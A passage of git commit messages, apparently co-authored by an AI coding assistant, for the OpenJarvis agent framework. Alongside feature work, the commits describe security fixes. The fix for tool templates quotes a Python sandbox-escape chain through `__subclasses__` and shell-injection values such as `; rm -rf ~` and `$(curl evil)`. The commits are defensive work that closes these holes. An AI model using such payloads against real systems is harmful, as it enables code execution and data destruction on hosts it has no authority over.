can't (no base URL + bare model name), returns a clear actionable error
instead of letting opencode 500.
Tests: wrapper-unwrap derivation + unresolvable-provider guard. 20 passed,
ruff clean.
Co-Authored-By: Claude Opus 4.7 (1M context) <noreply@anthropic.com>
Two hardening fixes for headless use, found while verifying real runs:
- Permissions: opencode's interactive default *asks* before some actions (and
`plan` asks before bash), which would block forever with no TTY. The agent
now writes an explicit permission policy: `build` allows edit+bash, `plan`
denies them (read-only), overridable via a `permission` kwarg. Verified: a
bash task completes without hanging and plan mode refuses to create files.
- Config no longer written into the user's workspace. We now write provider +
permission config to a private temp file referenced via `OPENCODE_CONFIG`
(confirmed honored by opencode), keeping the workspace clean while opencode
still operates there as cwd.
Tests updated to cover `_build_config` (provider presence, per-mode
permission, custom override, no-pollution). 18 passed, ruff clean.
Co-Authored-By: Claude Opus 4.7 (1M context) <noreply@anthropic.com>
A real-model E2E (Ollama qwen3:8b) exposed what unit tests with synthetic
parts missed: `POST /session/{id}/message` returns only the final assistant
message (text/reasoning), while ToolParts live in intermediate assistant
messages. The parser was reading the wrong message, so tool_results was always
empty even when opencode actually edited files.
- run(): after the prompt POST, GET /session/{id}/message and collect parts
across the whole turn for tool extraction (content still comes from the
final message). Verified against a live opencode session.
- _extract_tool_results: success now keys on opencode's state.status ==
"completed" (states: completed | error | running | pending).
- Test now feeds the real full-turn message shape and asserts the write tool
is recovered.
Co-Authored-By: Claude Opus 4.7 (1M context) <noreply@anthropic.com>
Adds an `OpenCodeAgent` (registry key `opencode`) that delegates coding tasks
to opencode (https://opencode.ai, MIT) while keeping inference local-first:
OpenJarvis's engine backs opencode via an OpenAI-compatible provider.
How it works:
- Derives an OpenAI-compatible base URL from the engine (e.g. Ollama/vLLM at
`<host>/v1`) and writes an `opencode.json` registering it as an
`@ai-sdk/openai-compatible` provider (`openjarvis/<model>`).
- Spawns a headless `opencode serve` (loopback, random port), waits for
`/global/health`, then drives a session: `POST /session` →
`POST /session/{id}/message` with `model={providerID,modelID}` + agent
(`build`/`plan`) → parses message `parts` (text → content, tool → tool_results)
into an `AgentResult`. `close()` disposes the server.
- opencode is an external binary (not bundled); `run()` returns a clear,
actionable error when it's missing, mirroring ClaudeCodeAgent's degradation.
Verified end-to-end against the real opencode binary wired to a stub
OpenAI-compatible engine: opencode called the local endpoint and the agent
parsed the response (content/finish/model) correctly. Unit tests cover part
parsing, base-URL derivation, provider-config writing (incl. merge), binary
detection, graceful degradation, and run() parsing with a mocked client — 15
passed, ruff clean. Registered via the standard try/except import in
agents/__init__.py; documented in docs/user-guide/agents.md.
Co-Authored-By: Claude Opus 4.7 (1M context) <noreply@anthropic.com>
SystemPromptBuilder (which loads the SOUL/MEMORY/USER persona files) was wired
only into the one-shot `jarvis ask` path, so persistent agents run through
AgentExecutor ignored persona entirely. The naive "pass prompt_builder" fix is
insufficient: `prompt_builder` was dropped at every __init__ hop
(ToolUsingAgent never accepted/forwarded it), and monitor_operative/operative
assemble their own system prompt and never consult `_prompt_builder` — so they
would silently ignore it even if it arrived.
Fix:
- `SystemPromptBuilder.persona_sections()` returns just the SOUL/MEMORY/USER
sections (no agent template), for agents that build their own prompt and want
to *append* persona rather than have it replace their instructions.
- `BaseAgent._apply_persona()` appends persona to a self-assembled prompt
(no-op without a builder or persona files).
- Thread `prompt_builder` through the __init__ chain: ToolUsingAgent now
accepts and forwards it to BaseAgent; monitor_operative and operative forward
it and call `_apply_persona()` on their assembled system prompt.
- AgentExecutor constructs a SystemPromptBuilder from config and passes it to
any agent whose __init__ accepts it (same gating as session_store /
memory_backend). Agents that override __init__ without forwarding (e.g.
orchestrator) opt out automatically and keep their own machinery.
Specialized prompts are preserved — persona is appended, not substituted. The
one-shot path is unchanged.
Verified: persona_sections() excludes the template but build() still includes
both; monitor_operative/operative receive the builder through the chain and
their assembled prompt includes the SOUL content. New tests in
tests/agents/test_persona_persistent.py (11 passed; ruff clean).
Closes#376
Co-Authored-By: Claude Opus 4.7 (1M context) <noreply@anthropic.com>
`_stream_managed_agent` had diverged from the canonical cli/ask.py path and
lost three behaviours. All three are fixed via small extracted, unit-tested
helpers:
- #382: cross-request history replay dropped stored `tool_calls`, so the model
never saw its own prior tool use and fabricated tool output on turn 2+.
`_replay_history_messages` now reconstructs the assistant tool-use message
plus matching tool-result messages (synthesised, consistent tool_call_ids).
- #386: only temperature/max_tokens reached the engine. `_sampler_kwargs`
forwards repetition_penalty / top_p / top_k / min_p / frequency_penalty /
presence_penalty when set in the agent config (opt-in; default agents send
nothing extra). Fixes degenerate repetition loops on local models with no
repetition_penalty.
- #395: tools were built with a bare `tool_cls()`, so memory_* / channel_* /
llm tools loaded with no backend and failed on every call.
`_instantiate_managed_tool` injects backend / channel / engine the same way
cli/ask.py::_build_tools does.
Verified empirically: replay emits user → assistant(tool_calls) → tool(result)
with matching ids; sampler extraction forwards only set keys; DI gives memory
tools a backend and llm the engine/model. New tests in
tests/server/test_managed_agent_streaming.py (helpers are pure, so verifiable
without a live engine). 38 passed locally incl. existing route tests.
Closes#382Closes#386Closes#395
Co-Authored-By: Claude Opus 4.7 (1M context) <noreply@anthropic.com>
All three deployment methods bound 0.0.0.0:8000 with no API key, so following
the README produced a server reachable from any device on the network with no
auth. `check_bind_safety` already refuses to start a non-loopback bind without
a key (so these configs actually failed to start) — this wires the key in so
the documented path yields a *working, authenticated* server.
- docker-compose.yml: require `OPENJARVIS_API_KEY` via `${VAR:?...}` so
`docker compose up` fails fast when unset; added `deploy/docker/.env.example`
(un-ignored in .gitignore).
- systemd: add `EnvironmentFile=/etc/openjarvis/env` (no `-` prefix, so a
missing key file blocks startup rather than exposing an open server).
- launchd: bind `127.0.0.1` by default (the personal-device default — no
network exposure, no key needed) with a documented, commented opt-in to
0.0.0.0 + `OPENJARVIS_API_KEY`. Avoids shipping a usable default credential.
- Docs (docker/systemd/launchd) updated with the key-setup step.
- Tests assert each config can't reintroduce an open server, plus
`check_bind_safety` behavior across loopback/public × key/no-key.
Closes#221
Co-Authored-By: Claude Opus 4.7 (1M context) <noreply@anthropic.com>
`AuthMiddleware` is a BaseHTTPMiddleware and never intercepts WebSocket
upgrade requests, so `/v1/chat/stream` and `/v1/agents/events` accepted any
connection — leaking all agent events/message content and allowing
unauthenticated inference even when an API key was configured for HTTP. The
A2A JSON-RPC server likewise dispatched every request without auth.
- Add `websocket_authorized(websocket, expected_key)` (constant-time compare)
and check it in both WS handlers BEFORE `accept()`, closing with code 1008
on failure. Token is read from `?token=` (browsers can't set WS headers) or
an `Authorization: Bearer` header. `create_app` now exposes the key via
`app.state.api_key`; when empty, auth is disabled, matching the HTTP
middleware's local-default behavior (so loopback dev is unchanged).
- A2AServer gains an optional `auth_token`: `handle_request(token=...)`
rejects with JSON-RPC -32001 before dispatch when configured, advertises
`{"schemes": ["bearer"]}` on the agent card, and stays open when unset.
Added `A2AConfig.auth_token`.
Verified empirically against the real mounted endpoints via TestClient: no
token / wrong token are rejected at the handshake (WebSocketDisconnect),
correct token streams normally, and no-key configs still connect freely.
Closes#217
Co-Authored-By: Claude Opus 4.7 (1M context) <noreply@anthropic.com>
`python`-action tool templates evaluated expressions with `eval()` under a
restricted `__builtins__`. That sandbox is escapable via attribute walks like
`str.__class__.__mro__[-1].__subclasses__()`, reaching `object.__subclasses__()`
and arbitrary code. `shell`-action templates interpolated parameters into a
string and ran it with `shell=True`, so a value like `; rm -rf ~` or
`$(curl evil)` executed in the host shell.
Fixes:
- Replace `eval()` with a small AST interpreter (`safe_eval_expr`) that
implements an explicit node allowlist — literals, names, arithmetic/boolean/
comparison ops, ternaries, subscripts, container literals, and calls to a
fixed set of builtins only. Attribute access, lambdas, comprehensions, and
dunder names have no implementation and raise `ValueError`, so the escape
vectors are unreachable by construction. No `eval`/`exec` remains.
- Shell action: tokenize the FIXED template with `shlex.split` first, then
substitute params into individual argv elements and run with `shell=False`.
Injected metacharacters become inert literal arguments.
All shipped builtin templates (`str(float(value))`, `str(input) if input
else ...`, etc.) continue to work. Verified empirically: every known escape
payload is rejected and a `; touch <marker>` / `$(touch <marker>)` /
backtick injection never creates the marker file.
Closes#216
Co-Authored-By: Claude Opus 4.7 (1M context) <noreply@anthropic.com>
Follow-up on the cherry-picks from @Dilligaf371's #340 and
@bootcrowns's #202. Both fail ruff's E501 (88-char line limit) on
main:
- ``src/openjarvis/agents/executor.py:325`` (from #340) — the
``self._system is not None and getattr(..., "tool_executor", None)
is not None`` guard was 101 chars. Wrapped the condition.
- ``src/openjarvis/telemetry/gpu_monitor.py:55-60`` (from #202) —
five new GPU_SPECS entries (Jetson Orin NX 16GB/8GB, AGX Orin,
Snapdragon X Elite/Plus) were 90-93 chars. Wrapped each
GpuHardwareSpec constructor call onto its own block.
- ``tests/telemetry/test_gpu_monitor.py`` (from #202) — removed a
spurious blank line between imports and the first ``#`` comment
block, picked up by ``ruff check --fix`` (rule I001).
No behavior change — pure formatting.
Co-Authored-By: Claude Opus 4.7 (1M context) <noreply@anthropic.com>
